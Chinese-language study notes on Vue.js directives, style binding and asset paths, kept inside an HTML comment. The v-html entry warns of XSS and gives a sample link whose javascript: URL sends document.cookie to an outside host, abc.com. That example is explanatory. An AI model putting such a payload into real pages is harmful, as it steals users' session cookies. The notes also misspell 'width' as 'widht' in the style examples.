<!-- 
v-bind: 可以简写成 :XXX
    单项数据绑定：<input type="text" :value="name"><br>

v-model:value  可以简写成 v-model 
    双向数据绑定：<input type="text" v-model="name"><br> 

v-on:可以简写成@
    <button @click="clickMe">点我</button> // 不传参
    // 传参$event用于占位表示event，66..需要的参数
    <button @click="clickMe2($event,66)">再点我</button> 

v-for   : 遍历数据/对象/字符串 

v-if    : 条件渲染(动态控制节点是否存在,false直接不显示元素)

v-else  : 条件渲染(动态控制节点是否存在,false直接不显示元素)

v-show  : 条件渲染(动态控制节点是否展示--类似display:none)

v-text  : 1、向其所在节点中渲染文本内容(html标签会直接展示html原内容)
            2、与差值语法不通 v-text 会替换掉节点中的内容

v-html  : 1、向其所在阶段内渲染html内容(解析后的html内容)
            2、存在安全问题，容易导致xss攻击，
            (<a href="javascript:location.href='http://abc.com?'+document.cookie"">)
            3、可以在信任的内容上使用，永远不要在表单中使用

v-once  : 节点初始化时渲染一次。

v-cloak : 与css配合使用解决网速慢导致的页面显示{{xxx}}问题，标签没有值

:style="{widht: widthPx, height: heightPx}"
    :行内样式
        1、如果属性名和属性值定义的相同 可使用简写模式
            :style="{widht}"


图片、视频等资源
    一、public 文件夹
        路径设置时无需添加 public/，默认加载 public 文件夹下的图片。
        不需要使用 require，否则就变成在 src/assets 文件夹寻找。
        系统编译后，可替换图片；
        this.imgUrl = 'images/test.jpg';
    二、src/assets 文件夹
        需要使用 require，运行时就加载；
        系统编译后，不能替换，因为被内部编译管理；
        this.imgUrl = require('../assets/images/test.jpg');



-->